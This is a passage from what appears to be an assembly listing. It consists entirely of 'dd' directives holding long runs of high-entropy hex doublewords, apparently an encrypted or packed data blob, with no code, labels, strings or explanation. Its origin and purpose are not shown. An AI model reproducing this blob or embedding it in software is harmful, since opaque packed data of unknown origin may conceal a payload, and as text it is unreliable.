2A3C107Eh, 1A73486Ah dd 0D31E5E3Ah, 0D6E94154h, 0F79924D0h, 6F634809h, 0E2890043h dd 903D307Eh, 1C2C093Ch, 25003444h, 45EF4A75h, 2051F897h dd 0BA04DF55h, 24F60B5Ah, 97C64A9h, 4235B246h, 73005252h dd 547EB38h, 1E941FB3h, 6E4AE97Fh, 65F282BFh, 0E0DD3B01h dd 5ED674C5h, 264AED69h, 0B880CBB9h, 0CCE1D9Eh, 0A9E85A83h dd 0C435026Ah, 0D7338767h, 86598603h, 53B12E03h, 0CF66CA88h dd 0A287D304h, 79D7ACF4h, 777429B9h, 1AF2104Bh, 68120650h dd 8ECC3D11h, 0BF0A4006h, 0E721F003h, 0A6D14F43h, 208805D8h dd 0BF097D1Dh, 0D6F71A00h, 0B04FBC07h, 2AC10C78h, 931871B8h dd 0CE8A6A02h, 0D4B283E9h, 7A66E9C1h, 469AF980h, 0F09641E2h dd 8305EA89h, 0E8170B4Ah, 58F6E976h, 0DB84118Eh, 0A67FE81Ch dd 6B68165Eh, 0A592CC1Fh, 5E2F541Eh, 0EBE9C704h, 0C60F01EDh dd 3ECC784Ch, 6E173C0Ch, 0B7947695h, 40C081Ah, 0DAFC5F14h dd 9776E35Ah, 70D9DA98h, 9C759F5Ch, 84354E53h, 63E8EAB8h dd 0D2A420B3h, 0E382F127h, 0DF6F8C2h, 0F9606660h, 0FE897C45h dd 1EA4E590h, 0E89A2087h, 60D0E806h, 9FBE0C50h, 0C2959BB3h dd 4881F7F6h, 7EF6E6E9h, 0ACEF2B40h, 0B8220D74h, 860D045h dd 15450C67h, 37A01425h, 9B23D31Ah, 0E22F24F8h, 60AC4AECh dd 2F31747Eh, 85D61534h, 0A14AC729h, 0A84A8A10h, 69508F30h dd 2E115A6Dh, 0E2F4471Bh, 51FF9C9Dh, 0C35FC2BFh, 2B6FDBF6h dd 0FE08AB4Dh, 47C9AF67h, 2B7F354Ah, 91FDBE83h, 0F1D459EEh dd 6483BF5Ah, 7B3B3CE2h, 4A4FF3E5h, 0C59F20FFh, 6B2563C2h dd 93BDE509h, 1A909E5h, 46FA1F81h, 0C19E4027h, 0B8483048h dd 248712ECh, 0C2A7FAF8h, 2091EE7h, 0B533DD1h, 0B7A9080Fh dd 8097AFD0h, 0FA365811h, 1479021h, 28FF342Bh, 7F3D3EE9h dd 9746A8CCh, 39639EFFh, 0F35B4FE9h, 768E9664h, 5CB16058h dd 84476C2Dh, 4A0E2854h, 0E63EE3C5h, 0A0082281h, 0D2E09360h dd 6A4C18DBh, 0A63C3349h, 29BFDB65h, 0CB297218h, 0B42A404Ch dd 0F480185Eh, 0FED5064Eh, 0EE68CC0Ah, 0E985681Ah, 0AD9127A8h dd 302F51C0h, 8B6FB7E6h dd 0EF093B17h, 47C871AAh, 554F025Eh, 6850BE80h, 0CA091D02h dd 8231582Bh, 0D76A3220h, 0C880D564h, 4D284A37h, 4920E241h dd 0C81EC03Fh, 783C2D59h, 9F0FAB2Ch, 9C350307h, 6850EB92h dd 9553F9DFh, 82F02427h, 0A4A63557h, 849C847h, 215D0BB0h dd 80D516F8h, 9FFA485Dh, 3349EF9Ah, 2A17CB1h, 8D712705h dd 0C3F2FD47h, 0B050530Fh, 22442434h, 795E89EEh, 0A353287Eh dd 38ACBF4Eh, 0B620E490h, 0D84BAD79h, 0BD16CE98h, 0AB2DBB04h dd 0B0AF5AD6h, 0BAD5D37Eh, 4AAF49F4h, 0F3D9BEB1h, 0A81E1430h dd 565D68AEh, 0B215E84Dh, 8800FF80h, 5166C4FEh, 3D9084B1h dd 51E5B4Dh, 722B7A45h, 0EFF1D3C0h, 20D02865h, 0B8D495D1h dd 793BE905h, 12A1E6EBh, 0F2B0C328h, 5798AA3Fh, 5BD3E2h dd 0D43CB609h, 0C268D0D4h, 0F3E96940h, 1BE5524h, 668C32ACh dd 8004EEC1h, 0FB9F438Ah, 0B8F5318Fh, 5A6D40CAh, 4D590507h dd 0DEB20DB7h, 0F08AA964h, 66490F07h, 0BDA433F4h, 9F4F450h dd 0E3785Ah, 153F8958h, 2FA57FFCh, 8DFA83CEh, 3F24AE00h dd 3E12D53h, 0AC124EE5h, 5E074035h, 18493500h, 0BCE96C6Dh dd 367D95DBh, 0E97697FCh, 2D049852h, 0D7878068h, 31D2F71Dh dd 60B0973Dh, 0C500D1ADh, 59EB28EDh, 9CFC292Ch, 5B5B8BBAh dd 5FCA5130h, 0F8BE4B6Eh, 0A6503BBCh, 0E201AB8Bh, 1AEB5AD2h dd 90C1897h, 0BD805663h, 65B6494h, 4BAE5895h, 2229A197h dd 0F168C22Fh, 97B75159h, 0C15043F6h, 0FA0002EBh, 334DE5B5h dd 1E5BDD09h, 6EE9D5F7h, 67B981B5h, 7B20DA45h, 716027E5h dd 217E0AE2h, 10CE59CBh, 54A05E91h, 88A316B6h, 0F2BC04F4h dd 0F5FE0973h, 202A2022h, 0D2EF5E5Dh, 5CFCBA62h, 8E03F468h dd 0F11F9D0Eh, 0F22E30CAh, 0F9405C2h, 0D4C27923h, 8936620Dh dd 0E0D58FB8h, 554385E1h, 96DC937Eh, 5FDEE021h, 8F7945B7h dd 92095A66h, 12756B04h, 494981BFh, 35207F69h, 2FC035B6h dd 0FE05EEh, 56A5A53Ah, 0B0B40F5Bh, 0C8D5DC49h, 7330E954h dd 0F7F049E6h, 89225D27h, 52FF65DAh, 1FDE9557h, 0ECEED7A5h dd 519204B3h, 0FF59AFC2h, 1FE5514h, 214EDADCh, 6C76E4DFh dd 0C14C44AFh, 0ABBF0010h, 1725A516h, 0D01EF83h, 414757B4h dd 6A7BE962h, 0FE284605h, 4A6A4128h, 18F5B641h, 8032C550h dd 682109F6h, 69B103A0h, 8802CEA1h, 2A1A40EAh, 0FE308BEBh dd 685BEC02h, 65616230h, 0BE001CF6h, 2270FEEh, 0F016B849h dd 62F7B6D8h, 1AD67799h, 71C4E30Bh, 1D103C85h, 0F759256Eh dd 355B1114h, 1068D402h, 8852A327h, 0DCF992D7h, 0C9CA3FAEh dd 51E7974Ah, 0A49700B8h, 3D5278CDh, 0DED519AFh, 0D620D21Dh dd 0B3D61F6Ch, 0F0C75799h, 0AB1325B1h, 9100E606h, 650508E0h dd 0EBA0756h, 747F382Dh, 78CAF4Eh, 59811228h, 0EB14A0C6h dd 0D3613363h, 0A172124Bh, 0B2EC6108h, 0CB8100B6h, 67F14F5h dd 0D38815Eh, 0B44A0E58h, 0E4C7D907h, 0D709370Ah, 1654A3ECh dd 570255A6h, 0EE0275BFh, 0B2C0F563h, 495CDF5Bh, 0AE052C16h dd 30CFFD08h, 59094A42h, 6D74157Bh, 0CBA37782h, 0AB8422E4h dd 54C62AB9h, 0A5006459h, 81463555h, 47B5DF7h, 67E90A97h dd 5F38EA2Fh, 68570F51h, 65267A43h, 0B301385Fh, 0C16AD532h dd 90BE07E7h, 67937809h, 98326375h, 606558EDh, 0E0F66A20h dd 105E0DC4h, 0F98017h, 35416225h, 30653B58h, 33AE61EFh dd 29680095h, 0AD0CB163h, 53B46EE8h, 34B05782h, 8E82B850h dd 0E258E95Eh, 7CE05F81h, 33C07AFAh, 67EC581h, 68250B76h dd 0D8746F84h, 29F5B960h, 0B84A0B83h, 7C581720h, 0B1B1225Bh dd 0AD6FFB25h, 5A5EA140h, 0BBD651ADh, 685D2F3Ah, 2D1E2217h dd 705C3CFDh, 9DFB2592h, 0D0D8EC9Fh, 23F6EFAAh, 58E9C158h dd 0FB4E1402h, 0CF29CA21h, 1FC0B154h, 20E182AFh, 169D0115h dd 0D2642E00h, 0B7B380DAh, 0E380DBF6h, 0F33B3873h, 0D8EB13BEh dd 1377BA0Eh, 0B2C6BF0Eh, 2D9C6AEDh, 0CB4BE350h, 2A0560EEh dd 0EF13C980h, 1A14BE9h, 32131B22h, 22528A6Fh, 9FCE7A14h dd 0E9D00974h, 221E6B36h, 89F5EF7Dh, 6A55A3B4h, 0FF965FF3h dd 6E4BA090h, 7B896AEDh, 0BD035C71h, 928C2AE1h, 4182FC55h dd 34C905E9h, 0E6E5C2B3h, 9A9A78F5h, 9922979Ah, 500D95Eh dd 7EA427BAh, 31591A56h, 2DDE8C3h, 0BEE789A7h, 53852065h dd 0F454292Fh, 0E0769C66h, 0CB2F30A0h, 0E109E1B9h, 53715EB4h dd 5F04D7EAh, 7485C0BAh, 0A16BB62h, 0FE01E2D1h, 0CC738305h dd 5244802Bh, 6D5E20E9h, 89FB8A31h, 41EFC724h, 6FE0E803h dd 0DDB814C0h, 40B8142h, 0BC390E05h, 0E7398310h, 2904B0A0h dd 5D68C31Fh, 0BDD03971h, 19050729h, 0BA088D4Dh, 80547B1h dd 40120781h, 0A6A3F87Bh, 0A8F67FF4h, 7C68E1DDh, 0A8119976h dd 7BE209E1h, 887280Bh, 6836F106h, 12C2D6E9h, 0E8AA7477h dd 958A1BE0h, 77A1E05Fh, 40FAC705h, 0C9BB5383h, 514B4B4Ch dd 6D756A1h, 0ED68DB0h, 9C0938D4h, 0F76D0C2Bh, 804D9E2h dd 0E5ACFB5Bh, 0B9D9E9C5h, 43EB046Bh, 31C18611h, 0BD006820h dd 0CF0413B2h, 5DEA2142h, 1FFD5AE0h, 0C255BFF9h, 127E3317h dd 0D0E6F2F0h, 280A2D51h, 205C442h, 41FF2CFEh, 6AD0674Ah dd 9113831h, 0DEF75E1Bh, 0E4A3DA80h, 0A495F3AFh, 10EC156Bh dd 68F18009h, 9FE43A78h, 4C90ADFh, 3E7155DDh, 20D5EC2Dh dd 8102B9C2h, 4053CFEDh, 0D05340AFh, 0E58980ADh, 0CD931FBBh dd 0FE022665h, 0DD0B6802h, 0C7921759h, 0ACEBAE84h, 1AACA1E1h dd 0BED26A63h, 58B00EF4h, 0ABD2EA15h, 0C0B05235h, 0BEB525E9h dd 1462F35Eh, 737DF67Dh, 0FE039FB2h, 1DF4B9C0h, 0B7D83B34h dd 0F040C5F0h, 4B480F2Dh, 0A24543FBh, 0EB8B49C6h, 0D692C25Fh dd 0FAC3C450h, 7B8AED5h, 0C4CBAE4Fh, 48E59318h, 0EB90EED1h dd 7C549C12h, 5D9E01AAh, 2FE244F0h, 40E744B4h, 2AC14362h dd 1C941011h, 951642F0h, 312D83C6h, 0BDDAC4D7h, 4569B771h dd 17E904D5h, 1BB2FFFCh, 3E5A0D00h, 0E8834843h, 935011Ah dd 6B5E7C13h, 0D0D55B04h, 0B962E092h, 2A0D3302h, 0FF13A336h dd 725CAB00h, 0D3EA0CBCh, 8BD9DD38h, 545019E9h, 1655EB5Fh dd 3261243Ah, 0A8B6C21Bh, 0A10F809h, 777957A9h, 0BC870B8Fh dd 0ACA805F3h, 474ED590h, 4BA979D0h, 26567BA0h, 85BF1F8Ah dd 832C1904h, 44B7E872h, 3E1EAA66h, 0AA48C3EDh, 5A7A091Fh dd 7D18F505h, 72804992h, 745DFA89h, 5F50B8B1h, 0FB3617DAh dd 5A126FCFh, 0B976AA58h, 3CD597B4h, 5BD4C38h, 9D48E982h dd 2AEFED6Ch, 5AE122FAh, 0DCBF166Ch, 0A50E7041h, 0ACD0AE83h dd 0B16AFE94h, 0DD00EE1h, 13F41AEAh, 4C39EF23h, 0F6C63B24h dd 36E02759h, 7E259AFCh, 247249Ah, 0FD520F8h, 975CF829h dd 8875C4D0h, 0B4413181h, 0F76D6D77h, 2FD95925h, 0F0F1AB96h dd 0B8B9F6Ah, 745D0D68h, 7474C97Ah, 6F6F75E9h, 0CAF9EA0Bh dd 39FC57AAh, 5A44CE81h, 0CF7231DEh, 0B01FA37Ch, 4CE1C992h dd 0FC049243h, 0C4511152h, 414B8484h, 0CE9FD08h, 0A8B37B64h dd 53E1F70Fh, 60C0E59Dh, 9D78B359h, 0CF52332Ah, 0EB3B2645h dd 93E62D0Ah, 68355DB0h, 0FBACD21Dh, 6E78EC0h, 57B63016h dd 96E90512h, 22FEEE5Ah, 6461E3E1h, 6B71F50Dh, 9E352601h dd 0A420C4D7h, 0B5F7BAF6h, 605A11FEh, 0B97F25DCh, 0A60C6250h dd 4377BE00h, 0AC0F57C4h, 2F504177h, 68B121FAh, 0FD4B7ACCh dd 0C73048AFh, 596A1264h dd 3D2B01D9h, 7D3CC419h, 690841C0h, 0A4399F77h, 712FAD68h dd 0CFE9E1A1h, 0EA63962Ch, 0FA95C5EBh, 0BAD7E7B3h, 5C2DA3CAh dd 59B8907Fh, 0D8888017h, 43D407EEh, 29C0009Bh, 0BE5618C4h dd 2DB31EF3h, 0B0F55298h, 0D08FA62h, 3E015D23h, 8D7E82Eh dd 0BA3C54E0h, 0FD303C66h, 284F61DEh, 1BBB04F0h, 8474A9BBh dd 68024FA4h, 2DCC49BDh, 0BB526325h, 9155D976h, 4F78AD63h dd 0BA5E8428h, 8C4CFF8h, 78199859h, 91A1691Fh, 0CD55AC7Fh dd 43B3107Ah, 77397EFh, 0E5F2D1A7h, 0B3F98829h, 27C91660h dd 0BC573819h, 6773BF38h, 0F45F1CA9h, 0DF98EAC4h, 68825236h dd 49774A18h, 0B09D458Fh, 253AD079h, 0BE890B61h, 6AB7C200h dd 0ED992DE3h, 6714EF80h, 99E901C2h, 14E1C0CBh, 7F4BC845h dd 41671EBAh, 511F2128h, 0BCB87A5Dh, 6C5B31A8h, 0F9251DADh dd 7F9DE058h, 0FFA1569Ch, 0F7580240h, 2447A291h, 0BD09BAA5h dd 0F611190Fh, 45BE005Ah, 0E978D887h, 0E4F86527h, 98D8B7B4h dd 841CC60Fh, 7739E942h, 5EBF5620h, 67BFB4Ch, 8987EB2Ch dd 72EF5A97h, 0CC748EF2h, 2E7EBD00h, 48F74315h, 267676DDh dd 1383E086h, 58A52D5h, 0BBEF8D1Ah, 5D0A4904h, 0E4EBA816h dd 0AE3BDBA5h, 0DEFAB717h, 4EE9091Fh, 4FBFFE18h, 0BF1B3B05h dd 551E12B2h, 1E60C958h, 17023DC9h, 440966E2h, 157A1339h dd 61A3AEFFh, 0E1130C88h, 3684F416h, 9420A2EEh, 2E5A2048h dd 4ECF2FE9h, 0FF3B49C5h, 8F1B7921h, 0CF810004h, 2B7A6770h dd 5F29C9A0h, 31469105h, 0AB5EF7h, 5577997Ch, 6B4B15E9h dd 0A6E7CDBFh, 79A70564h, 7BE46F7Ah, 0E6FCAAF2h, 59B229CCh dd 4A5B9AF2h, 65383331h, 0D27B75C2h, 38F3ADh, 69BA38C1h dd 0E03FC981h, 0F513A86Ah, 0EF099D0Fh, 6090141Ah, 0CC713F12h dd 0F4CFEE60h, 24F55BD4h, 3AE0C20Bh, 0BDDEF009h, 4B470168h dd 2362C0B1h, 0B72C033Ch, 2E78C6B9h, 0D29E87FDh, 2822E0BFh dd 0ED2CD003h, 9FB65266h, 0A234D1D2h, 0FF39FCCDh, 8B88E219h dd 0CFED039Ah, 1FA308ABh, 3F38000h, 3E58C330h, 0D698DD20h dd 81BB1A0Dh, 6C5C2F16h, 9AC3F900h, 0C11ACC77h, 3365410Ch dd 0C4E83F0Bh, 0E9DB0961h, 0D43825FAh, 0ACF143Dh, 1AEE65ADh dd 0FC3B34EFh, 424B2522h, 515B5D5Eh, 1A6DEA00h, 0F1C70121h dd 580884CAh, 690EE0FFh, 0CA4720B7h, 4F7B554Bh, 0C2110F27h dd 40E90398h, 0DDFEABAAh, 0D0107F2Dh, 9EB6249Fh, 9E0F4397h dd 3DF2C2C2h, 0A5B07D09h, 510ECB81h, 0DC6AF366h, 8AC8C5CFh dd 310083CDh, 0E9FCBA36h, 1FCB657h, 5C292D5Dh, 7FEC3A51h dd 58E72410h, 9CEA03A7h, 0E264BD07h, 0DF186AFDh, 56C5BDD1h dd 0FB9152C4h, 0BC3A5B5Ch, 0C0ABE4CCh, 5116E01Ch, 87E9500Bh dd 2A50A025h, 0F41C6075h, 0AC674122h, 285805CEh, 0C32C27D8h dd 0F2CB97FEh, 4000B09Bh, 0F5A39148h, 5E8C198h, 0F8575535h dd 857EDFE1h, 60F3E18Eh, 0E54EB19Eh, 25798AE3h, 0D6C69185h dd 9208F3B9h, 14DF2534h, 0F26818C9h, 0C1D3292Dh, 0D4135782h dd 0FDE0E2C2h, 0F4821566h, 0DFFA7AEh, 0F83F0CADh, 21FC5BB9h dd 2E70E102h, 0DD4573h, 29E20D31h, 50F32E9h, 0D079F171h dd 0CF40509Eh, 58306E55h, 32DC0505h, 80C14785h, 5627357Dh dd 2D3D0800h, 4961F3C5h, 0BCC74F89h, 17FC8C3h, 6E404668h dd 9D5F2079h, 0AA40304Fh, 29630A12h, 5DE9731h, 5EA66858h dd 87EB3151h, 0B14A0323h, 0BD7FF3CEh, 5E97DEEFh, 0A815AFCh dd 20F4F1D4h, 0D69ADF32h, 90AF7420h, 148F98FEh, 0A6B820C9h dd 471B3632h, 68894740h, 42B72F7Ah, 2C978064h, 0BD2DBCF4h dd 4D263EF4h, 61FA2316h, 6324203h, 0A12641Ch, 2FCB8DBFh dd 5688E3D4h, 4E29B634h, 60146E42h, 3AFCD680h, 5595361Ch dd 0ECCFC905h, 744E0AA6h, 2E00EE4Ch, 0E9165813h, 8C425ACCh dd 9CB45684h, 8080FB50h, 82A08852h, 0DD952E76h, 9B80C096h dd 0AC287487h, 0CF90D219h, 165FA1Dh, 81A1CB4h, 2140B1Ch dd 0F52A1A74h, 327E96Ch, 95494465h, 0E95099F6h, 0D11E59A1h dd 0CE697A94h, 1F8CCF7h, 22ED7196h, 0A6129BE9h, 173CA845h dd 5FE40BE1h, 7051640h, 3B8AFD3Ch, 4522896Bh, 47CE12Dh dd 68177078h, 0FB30BA79h, 179BB951h, 155933Bh, 6CC469F8h dd 0CBF0FEAAh, 1270C502h, 0E10111BDh, 845ED89h, 58E8F3EAh dd 98AB93E0h, 0B99AE03Eh, 0C03BA02h, 0F0290210h, 2A0F2D48h dd 0BDE1C05Ch, 428548CAh, 5E156C68h, 10640B54h, 55402CFAh dd 12C97EB9h, 9890E1Dh, 9CA52B29h, 0D881EA64h, 967810F8h dd 3DAE06D6h, 0D401D65Fh, 0E91A6217h, 902EFADAh, 0F1657213h dd 8B877B5Bh, 551470E2h, 75491879h, 0F897C4D2h, 7EB61FE2h dd 0A7FEE2C1h, 90A7F74Fh, 9A2207Bh, 6E2D5B02h, 5F4CD40Eh dd 2C07E208h, 1C75ADC2h, 41349407h, 0DF980EE9h, 3C7F5AC2h dd 8FE92F77h, 2B5907C1h, 8E31C6D9h, 95A08AFCh, 55E5FF56h dd 0A89B0388h, 1281BDE0h, 0FA4A7D75h, 0F74DAF02h, 3F9A7DD5h dd 5CD9AB00h, 9170223h, 9BB85DEEh, 8C66B10Bh, 0F65A5202h dd 0DFACBA75h, 2059D809h, 55136909h, 0DB08A46h, 592CC40Bh dd 15CCA46h, 2878E908h, 0AA4C883Ah, 0D0572265h, 0C15034E3h dd 91722F4Fh, 0D80715D6h, 70895E35h, 0B71907Ch, 873E939Ch dd 9777E1FFh, 0EA2A497Fh, 2662CFF7h, 0DD044B9Eh, 9977950Fh dd 5B5D7BF9h, 5E4D3E84h, 43240CAEh, 0FC01B32Ah, 5B66DE30h dd 843FF388h, 0C8AED0FEh, 92000459h, 5203E8C0h, 2DE97AB2h dd 65924754h, 30565057h, 0D3735260h, 2B90685Ah, 4324F6BBh dd 131A8CCCh, 0EB6C9F3Bh, 8167884h, 2A03D9EAh, 5760148Bh dd 0D1F6F7B1h, 0B6602A9Eh, 1DE9803Dh, 5DF1285Eh, 74E865C1h dd 783B899h, 0E82826D6h, 1D8A4F2Ch, 4FB3A891h, 0DB2C4F8h dd 0DE7BCBC2h, 3C708BE1h, 0E1F6127Fh, 1144B2ABh, 0F7A30E87h dd 41FC22F4h, 0B289295h, 0FFDA5F73h, 0B72E4D3Dh, 908B891Ch dd 2C7125EBh, 16F97B36h, 0B831AB73h, 810592CBh, 439118Bh dd 0CA2988AFh, 0BD01A4B6h, 1DFA020Fh, 5D5F497Fh, 780960F8h dd 0E35F291Ah, 0A52CD222h, 1C57550Ah, 0A42B9EE5h, 49D629E5h dd 0BD0CD304h, 3A00413h, 86A2C563h, 7A97829Eh, 80590EDFh dd 0C26677EFh, 0B40F06FCh, 53E9FA28h, 90B80BF0h, 541C1897h dd 0FC125648h, 94407782h, 0B3D75651h, 465094EDh, 7AD09AC4h dd 34452D75h, 0EA30BDDh, 0F037A903h, 8CC8C184h, 2F515B42h dd 0E93B0E8Eh, 8910C82Fh, 457140EFh, 6355828h, 4E6D5959h dd 7138CCABh, 0B6205189h, 13D0B24Dh, 6202BE56h, 240D333Dh dd 0BE038C68h, 761D5180h, 924E95D1h, 46BC3114h, 3A073018h dd 77274CBDh, 33027526h, 43E62C45h, 8653582Ch, 0C809E9C2h dd 90ED80ECh, 0B863865h, 4C8EAE4Eh, 12782F58h, 0FA45C767h dd 2F083C50h, 857C5B5Fh, 0A862E953h, 0F0312F9Ah, 0A9C14B32h dd 0F1293FA4h, 0C8BA4F30h, 231CF25h, 632D2749h, 4560B719h dd 758223A3h, 65D080C0h, 4E43FE86h, 1244FA37h, 49AA39FDh dd 8E800256h, 6E871F4Bh, 0F7D68925h, 36E90FA1h, 0D8647E9Bh dd 43422680h, 0EE2A5A26h, 5A088C10h, 0FBB41CB8h, 27A64561h dd 0D7F6E27Eh, 3F9221BAh, 77722F5h, 49181B2Dh, 5E49B3B7h dd 40AD672Bh, 0DFF763A5h, 625B6874h, 5FC0B8B8h, 1EA835Ah dd 0D1D78700h, 21CF81EFh, 4CB4090Dh, 8A2496E9h, 59C2F35Fh dd 0E1592776h, 582B93A7h dd 0D8733E9Dh, 3127127Bh, 408ECA10h, 0B90CAA4Dh, 9E13607Fh dd 31505B55h, 7141BADCh, 0FAFFC87Bh, 49505CFEh, 6E26E9FDh dd 0E8A89C2Eh, 7785A41h, 97740193h, 7A5C323Dh, 17C21693h dd 5730022Ch, 6B24BF6Bh, 55EFADD2h, 0E877CD7Ah, 62F3F4BFh dd 0C5750C63h, 65E0A554h, 0C89F1CB4h, 39802558h, 0F79CD5CFh dd 4F85288h, 8232B5F2h, 6C2E382h, 402EF76h, 57C22CB7h dd 0D3C6B6A9h, 98ED4CBDh, 1C9A1FFCh, 0C96A2FFDh, 0FF5A0807h dd 0BECFBBF3h, 0E056A84Ah, 0CB7DEB80h, 25022606h, 0B1104D06h dd 2FC3FA84h, 0CAE328A5h, 0EA5B53ADh, 0FD1B9FA2h, 0C1CCF8D3h dd 149E68Fh, 0C3C8D831h, 93D01EF7h, 0E3309768h, 0FB0E0005h dd 46E9BD78h, 95489D34h, 0A2659A0h, 59272C35h, 0F3E90541h dd 0C1218873h, 940D5B80h, 355D87FEh, 8E483623h, 0E13B3B41h dd 28176C29h, 282FF55Ah, 25DF7313h, 4C0F332Bh, 1732AE77h dd 24C565Bh, 0DCF6E3B4h, 790657Eh, 507CE438h, 97DD8B58h dd 6BEB807Ah, 99E54F0Ah, 5259183Bh, 5B2AE912h, 4D7F41E6h dd 2B031B15h, 0BDB2D3ECh, 5D5E8BE8h, 0F7C83127h, 68576190h dd 0F7401909h, 0ABC00F17h, 0A91C7D33h, 7B8D6817h, 746E2DBEh dd 0CA4122D0h, 20289240h, 1BDE20Ah, 799E31C1h, 9E5FFD29h dd 12E5C6BAh, 6906768Fh, 50153F7h, 0FB7DCDE9h, 95DC4A89h dd 4C7A3B34h, 48F1E502h, 40C068C0h, 0A1006318h, 87E6D106h dd 0BA80E9DEh, 685212F9h, 5A41C276h, 5F95E61h, 28EBA904h dd 1DFAA384h, 48A2EF7Bh, 5CD672A6h, 61C7E9D8h, 74682238h dd 7842236Dh, 1839CB2Fh, 831542C7h, 3AB2FA19h, 0D53BC159h dd 9101FA77h, 58767A19h, 894A037Fh, 0ADC55A3Ah, 0BABC0F0Ah dd 4F1F612h, 2F31A7A8h, 68475048h, 807BC22Dh, 962D8464h dd 39F75C02h, 9C72F805h, 0D3C0AA7Fh, 0D22BC3E9h, 2752A4AFh dd 61EAEDF3h, 60E42B99h, 0C2CB4C29h, 0EF36174Eh, 0E2683460h dd 379AA55h, 0E13A27B8h, 0EA3E5A11h, 0E856F023h, 582F2E9Dh dd 0E6004B1Bh, 30923F26h, 4C9DEF7h, 41825F4Eh, 847F0FE9h dd 0B3AF5CD6h, 395AC924h, 1978C874h, 4AA36637h, 0AE1908F8h dd 8EBC007h, 0F7262382h, 0C4D5001Ah, 983F92DBh, 9F1620B4h dd 95D3729Fh, 24BA67FCh, 79400D89h, 0A202D97Fh, 897088Fh dd 4EE95904h, 0AF412BF1h, 0A13CC625h, 447BF600h, 0F1895F84h dd 5D9D22B8h, 23544D2Bh, 646CA6ACh, 123FF906h, 2BAB02ABh dd 0CA5D75B3h, 0E9080107h, 0BF3C8D8Eh, 0C0E344E7h, 0C180AA20h dd 6AC2E9h, 6958595Fh, 0B98C38D4h, 0A3AD181Dh, 5E2D8287h dd 20AF4815h, 8F430B7h, 784BF16h, 173A1F3Dh, 84904DEBh dd 5BD928E8h, 0C378E25Bh, 1655F1E9h, 454413Fh, 80D7F733h dd 2C72D658h, 9C36A50h, 0D2ACF6BDh, 18CE4444h, 215D0408h dd 0D8478A3h, 5EEFB276h, 7445E381h, 0A07D4A02h, 0E2EFEE0Dh dd 62D0EDBBh, 5C611F6Ch, 805CB5E9h, 3925CB02h, 0BB531501h dd 2A822421h, 0E3AD4897h, 9262CA2Ah, 0C31E5C9Ch, 0B3A41813h dd 0AE5F4EF8h, 3819F48h, 31D32B3Bh, 3D24EEE4h, 1D680A07h dd 4530F569h, 0E0007F9h, 762BBF4Bh, 2501D58Bh, 0E4F75BDFh dd 69652CA1h, 0BF9DA05Dh, 58C45AD9h, 8270A9EAh, 0D73015EBh dd 0EA19BA00h, 7595A0CFh, 0B7D7F38Fh, 0D1B71275h, 41EB2EEh dd 0F52D75C1h, 12C766C1h, 0E9239283h, 0FF0B83AFh, 483568E1h dd 826EE73Dh, 0AE0C64DEh, 0FCC8E90Bh, 5CDDA91Ch, 8451E93Eh dd 2BB807B4h, 681686E6h, 0EFA36DD4h, 8CC5824h, 0A02056ECh dd 0D47D7F09h, 21D2DD44h, 0F510AE09h, 2776F475h, 51A7A2E7h dd 0FEB1046Bh, 73E90FCDh, 2D6693C6h, 0CFF666B2h, 844FB448h dd 0CDAE13B8h, 0FEE121F3h, 66EFE0D6h, 5F7DAA8h, 140C1F2Dh dd 41B4E844h, 5AFFF207h, 3164FD57h, 4AA52F68h, 83B6F18h dd 0BDB498B7h, 0AE3AE14Bh, 0ABF5F35h, 4F8B1E0Ah, 0D156443h dd 236AF817h, 0C2D863A1h, 0B0C4B00Ch, 79E92FC2h, 0BA208D84h dd 11E5CB81h, 0A9243ACh, 8FC51FC0h, 0F9E556D0h, 688291A9h dd 3EC0355Eh, 0EF4FD79Ah, 5DE9F828h, 800BCE17h, 9985D0ECh dd 9B96C299h, 0A4707477h, 323E09A4h, 0F2F2C81Bh, 46FEBAABh dd 0A42DD54Bh, 6444C2B3h, 47E3CD31h, 4360E5C0h, 2539BEB0h dd 0C5DE9EFDh, 1769F4DEh, 6452BB13h, 0FA2694BAh, 2521E0D8h dd 6CFF5AD0h, 0ADE912B2h, 2632EE31h, 0B5095F6Ch, 9FB414D7h dd 0E916B9C6h, 0FF901DF7h, 1B55A8h, 0ECE6BA44h, 53E9018Bh dd 0D7044995h, 0A4376EDCh, 56F63094h, 6F4E1B7h, 5BFA1C40h dd 0D07EA8A0h, 0C85F8696h, 9271EC69h, 0C380032Bh, 0AEB25230h dd 2863EAB0h, 594B2C90h, 0B925B8BDh, 9584A443h, 7B5084Ch dd 0A2DDEE00h, 24DE015Ah, 550315Bh, 0F822DB68h, 80FC005h dd 5A876C8Fh, 3203B8CFh, 0F0667A70h, 5B23046h, 0AF58C5C5h dd 0DBDF7328h, 0DFC305Eh, 10215FC6h, 0B104AC13h, 0D30938BCh dd 0D071E828h, 117CE961h, 3C77FF00h, 2A799BA1h, 0E89271A8h dd 0CBC1927Ch, 7072035Eh, 3443B312h, 4684FE6Fh, 6B8731ABh dd 0F6B62E0Bh, 12031B50h, 0E9477957h, 59084012h, 0F53C8725h dd 37602ECCh, 723BFF7h, 0BE310702h, 0D0760C1Ch, 505FCE81h dd 0AFBF8D73h, 28E2115h, 41704CDFh, 2F3026D1h, 5BE60078h dd 5249D728h, 73BBA00h, 0D62979D2h, 732432E9h, 784A5A64h dd 0A8421EF7h, 4A14E961h, 0A88AFE90h, 4A8B810h, 2A966859h dd 2D50C9D8h, 0CFD8F2B0h, 4CE98013h, 709FF08h, 0B229B652h dd 745FA4EEh, 0CDF2C3Ah, 305063E0h, 2A2087A4h, 0F7810274h dd 4E8E1458h, 89637BD5h, 0E7F255A1h, 870CB391h, 9C13BB5h dd 34C0446h, 69BB9A20h, 6F7EA458h, 25BDCB07h, 28D40BC2h dd 0DC6EDFE1h, 7E0E2DD7h, 0A161631Dh, 14887148h, 741427Ch dd 13D5E440h, 455A0963h, 892BD8E9h, 352180DDh, 161CF634h dd 0B858C331h, 276916FFh, 4E0FCEFEh, 0B9A45BFCh, 0D23F8488h dd 0B012BB17h, 0D53BB7B9h, 35329001h, 0E8480436h, 7F02C205h dd 0D14034F5h, 0D0D863E0h, 157D29E8h, 0D9F8E906h, 4276B907h dd 0C302E99Dh, 680179AEh, 738B3159h, 0D2CE207Dh, 0DD295525h dd 0A03A394Dh, 0D2429D03h, 2065647Fh, 0FE3936A8h, 80C61CCEh dd 0BFFB989Ch, 8560AF7Fh, 0F2FA019Eh, 5589E5h, 61AA2D34h dd 80DCB75Dh, 4909F0BBh, 55C82150h, 0CB7C0D30h, 6369D4B5h dd 0BE851858h, 68C2FEE3h, 79596BBBh, 7142501Eh, 51350626h dd 0E9484103h, 9B32C3Dh, 0ED0295Dh, 0FB0F4106h, 